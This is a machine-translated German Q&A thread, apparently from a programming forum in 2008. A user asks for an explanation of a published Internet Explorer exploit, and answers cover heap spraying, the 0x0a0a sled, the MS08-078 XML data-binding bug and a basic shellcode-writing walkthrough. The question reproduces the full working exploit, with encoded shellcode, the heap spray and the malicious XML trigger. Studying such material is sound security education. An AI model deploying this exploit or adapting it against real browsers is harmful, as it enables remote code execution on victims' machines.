Hilf mir, diesen JavaScript-Exploit zu verstehen
Ich in der Regel keine Schwierigkeiten haben, zu Lesen JavaScript-Skript, aber dieses kann ich nicht herausfinden, die Logik. Der code ist aus einem Exploit, der veröffentlicht wurde, vor 4 Tagen. Sie finden ihn unter milw0rm.
Hier ist der code:
<html>
<div id="replace">x</div>
<script>
//windows/exec - 148 bytes
//http://www.metasploit.com
//Encoder: x86/shikata_ga_nai
//EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
//ugly heap spray, the d0nkey way!
//works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Hier ist, was ich glaube, es tut, und ich möchte Sie, mir zu helfen, für den Teil, den ich falsch verstehen.
Die variable shellcode
enthalten den code zum öffnen des calc.exe. Ich verstehe es nicht, wie Sie gefunden haben dieser komische string... keine Ahnung?
Die zweite Sache ist die variable spray
. Ich verstehe nicht diese komische Schleife?
Die Dritte Sache ist die variable memory
ist niemals überall eingesetzt, warum schaffen Sie es?
Letzte, was, Was bedeutet das XML-tag zu tun in der Seite?
Update
Okay, für den moment habe ich gute Antworten, aber meist sehr
Allgemeinen. Ich würde gerne mehr Erklärungen zu den Wert der
code. Ein Beispiel ist unescape("%u0a0a%u0a0a");
. Was bedeutet es?
Das gleiche gilt für die Schleife ist, warum haben die Entwickler schreiben:
length < 0xd0000
? Ich möchte ein tieferes Verständnis, nicht
nur die Theorie dieser code.
InformationsquelleAutor der Frage Patrick Desjardins | 2008-12-19
Du musst angemeldet sein, um einen Kommentar abzugeben.
Den shellcode enthält einige x86 Assembler Anweisungen, wird die tatsächliche Ausnutzung.
spray
erzeugt eine lange Folge von Anweisungen, die inmemory
. Da wir nicht in der Regel herausfinden, den genauen Standort der shellcode im Speicher, wir haben eine Mengenop
Anweisungen, bevor Sie springen, um es irgendwo. Diememory
array halten wird die eigentliche x86-code zusammen mit der Spring-Mechanismus. Wir füttern die erstellten XML-library, die hat einen bug. Wenn es wird analysiert, die Fehler verursachen, dass das instruction-pointer-register zugeordnet werden, die irgendwo in unserer ausnutzen, was zur Ausführung von beliebigem code.Tiefer zu verstehen, sollten Sie eigentlich herausfinden, was in der x86-code.
unscape
wird verwendet werden, um die Sequenz von bytes repräsentiert der string in derspray
variable. Es gilt x86-code, füllt einen großen Teil über den Haufen und springt an den start der shellcode. Der Grund für die Ende-Bedingung ist die string-Länge Einschränkungen der scripting-engine. Sie können nicht mit Zeichenfolgen, die größer als eine bestimmte Länge.In x86 assembly,
0a0a
stelltor cl, [edx]
. Dies ist effektiv äquivalent zunop
Instruktion für die Zwecke unserer auszunutzen. Wohin wir springen in diespray
bekommen wir die nächste Anweisung bis wir den shellcode, das ist der code, den wir eigentlich ausführen wollen.Wenn man sich die XML-sehen Sie
0x0a0a
ist es auch. Genau beschreiben, was passiert, erfordert spezifische Kenntnisse der nutzen (Sie müssen wissen, wo der Fehler ist und wie es ausgenutzt, was ich nicht weiß). Es scheint jedoch, dass wir Kraft Internet Explorer auslösen der fehlerhafte code durch festlegen derinnerHtml
zu, dass schädliche XML-string. Versucht Internet Explorer zu analysieren und die fehlerhafte code irgendwie gibt die Kontrolle zu einem Ort der Erinnerung, wo das array existiert (da es ein großes Stück, die Wahrscheinlichkeit zu springen es ist hoch). Wenn wir springen dort die CPU halten wird die Ausführungor cl, [edx]
Anweisungen, bis in erreicht den Anfang der shellcode, der in den Speicher gesetzt.Habe ich zerlegt, den shellcode:
Verständnis dieser shellcode benötigt x86 Assembler Kenntnisse und das problem in der MS-Bibliothek selbst (zu wissen, was das system Staat ist, wenn wir hier), nicht JavaScript! Dieser code wiederum wird ausgeführt
calc.exe
.InformationsquelleAutor der Antwort Mehrdad Afshari
Sie in Aussehen sollte Heap Spraying:
http://en.wikipedia.org/wiki/Heap_spraying
InformationsquelleAutor der Antwort BobbyShaftoe
Dieser sieht aus wie ein exploit, der letzten Internet-Explorer-bugdass Microsoft veröffentlicht Notfall-patch für. Es nutzt einen Fehler in der Datenbindung feature von Microsoft, der XML-handler, dass die Ursachen der heap-Speicher freigegeben ist, falsch.
Shellcode wird Maschinen-code, der ausgeführt wird, wenn der Fehler Auftritt. Spray und Speicher sind nur einige Speicherplatz auf dem heap zu helfen, die die ausnutzbaren Zustand auftreten.
InformationsquelleAutor der Antwort Tim Farley
Heap Spraying ist Allgemeine Weise zu nutzen browser-Zeug, wenn Sie es finden Sie mehrere Beiträge, wie dieser : http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
InformationsquelleAutor der Antwort dr. evil
Jedes mal, wenn ich den Speicher nicht adressiert, ein exploit, der Diskussion, mein Erster Gedanke ist, dass der exploit ist eine Art buffer overflow, in dem Fall der Speicher ist entweder verursacht der Puffer überläuft, oder auf Sie zugegriffen wird, sobald der Puffer überläuft.
InformationsquelleAutor der Antwort Brian
Dies ist von metasploit, das heißt, es ist mit einem metasploit-shell-codes. Es ist open source, so dass Sie gehen können und Holen Sie es : http://www.metasploit.com/
InformationsquelleAutor der Antwort dr. evil
Für mehr hintergrund über die Sicherheitslücke selbst, würde ich vorschlagen, das Lesen MS08-078-und die SDL.
InformationsquelleAutor der Antwort Grant Wagner
Sehen Charakter encodings im HTML.
Es ist binären Daten codiert einen string, der JavaScript-Decodierung.
Häufigste form der XSS auch.
Sehen Sie alle encoding-tricks hier:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
InformationsquelleAutor der Antwort Chad Grant
Einfachen shellcode Beispiel
Hello world in assembly at&t-syntax x86 glaube ich (Assistent in Ausbildung).
einrichten der Datei:
vim shellcodeExample.s
kompilieren, etwa so:
as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Jetzt haben Sie eine Binärdatei, druckt " Hallo Welt.
konvertieren der binären in shell-code geben:
objdump -D shellcode
erhalten Sie die Ausgabe:
Nun, wenn man sich auf die 4. Zeile mit text sehen Sie:
400078: eb 1a jmp 0x400094
den Teil, der sagt
eb 1a
ist die hexadezimale Darstellung der Montageanleitungjmp one
wo "eins" ist die Speicheradresse der Zeichenfolge.zu prep Ihre shellcode zur Ausführung eröffnen sich neue text-Datei und speichern Sie die hex-Werte in ein Zeichen-array. Zum formatieren der shell-code korrekt, geben Sie in ein
\x
vor jedem hex-Wert.den kommenden shell-code-Beispiel sieht wie folgt aus nach der Ausgabe des Befehls objdump:
In diesem Beispiel verwendet C für das array.
Jetzt haben Sie die Arbeit shellcode, schreiben auf stdout "Hallo Welt"
können Sie testen Sie die shell-code, indem Sie es in eine Lücke oder Sie können schreiben Sie die folgende c-Programm, um es zu testen:
Kompilieren der Programm-Typ:
laufen mit
./run
Sie wissen haben ein funktionierendes Beispiel des einfachen shellcode-Entwicklung, wurde getestet unter linux mint/debian.
InformationsquelleAutor der Antwort